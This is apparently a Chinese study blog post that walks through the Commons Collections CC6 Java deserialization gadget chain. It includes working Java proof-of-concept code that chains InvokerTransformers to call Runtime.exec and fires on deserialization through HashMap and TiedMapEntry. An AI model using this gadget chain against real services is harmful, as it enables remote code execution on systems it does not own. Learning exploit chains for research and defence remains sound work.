一、前言
前面的文章分析了CC1那条TransformMap()那条链
但是官方的链子不是这个,这里我就不写文章了,下面是CC1和CC6的流程图
这里简单的说明一下这个CC6,CC6的尾部和CC1是差不多的,就是前面的不太一样
总结一下就是CC1+URLDNS这条链(原先学这个URLDNS这条链子的时候不是很明白,现在明白了)
而且这个CC6这个链子是不限制jdk版本的,也不限制cc版本(被誉为最好用的CC链)
二、环境搭建
这个环境就用3.2.1的吧,jdk版本就用1.8
三、CC6链子分析
这个链子在前言部分就已经说了就是CC1+URLDNS
后半部分就是通过LazyMap这个类的get方法触发ChainedTransformer的transform,之后就一样的
1、寻找链子
根据之前的思路,那我们就要找谁调用了这个get
方法,然后接着找前面的链子,最后找到哪个类的readObjiect方法
现在我们就先来找一下这个get方法
我们看到,这个get方法的调用有两千多条,这里的话,肯定是能找到的,但是我们就不找了实在是太多了
这里我们就直接说结论,我们找到的是TiedMapEntry下面的get方法
而且这个TiedMapEntry还是一个public
我们接着看一下谁调用了这个getValue方法,我们找到在同类下有一个hashCode方法调用了这个getValue
我们先看一下能不能调出计算器,这个类接收两个参数,一个是Map,一个是Objiect
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
tiedMapEntry.hashCode();
}
成功调出来了计算器
接下来我们要看一下这个hashCode是谁调用的
我们结合着这个URLDNS这条链很容易想到,我们可以通过HashCode来调用到这里的hashCode方法
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
Map<Object,Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"1");
}
这里我们发现还没序列化的时候就触发了计算器
2、解决问题
这里面我的idea有问题调试不了
如果了解那个dns那条链就知道为什么在序列化的时候就会触发这个DNS请求了
这个也是一样的,在我们序列化的时候就触发了计算器,那么我们的数据根本没有序列化存储,当然我们反序列化的时候也不会调出计算器
所以有一种方法就是,在序列化的时候我们不存储那个数据,在走完之后我们用反射来修改其属性,达到我们的目的,这样在序列化的时候
就不会有数据的丢失
这里我们修改LazyMap里面的属性
我们点进去看一下
这里是这个factory这个属性,我们看一下这个属性
是受保护的,我们这里只能采用反射的方法来修改属性值了
这里的factory是Transformer的,我们可以用CC1的那个new ConstantTransformer()来随便返回一个
这里我们就断了我们的链子,到下面的时候,我们在修改我们的这个factory属性值,拼上我们的chainedTransformer
这样就完成了,我们试一下序列化一下,反序列化一下
发现没有弹计算器
这里我们还要把原先废的链子移除
之后就可以了
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"a");
Map<Object,Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"aa");
map.remove("a");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,chainedTransformer);
serialize(map1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
三、总结
这条链子如果前面都弄清楚了就很简单,理解起来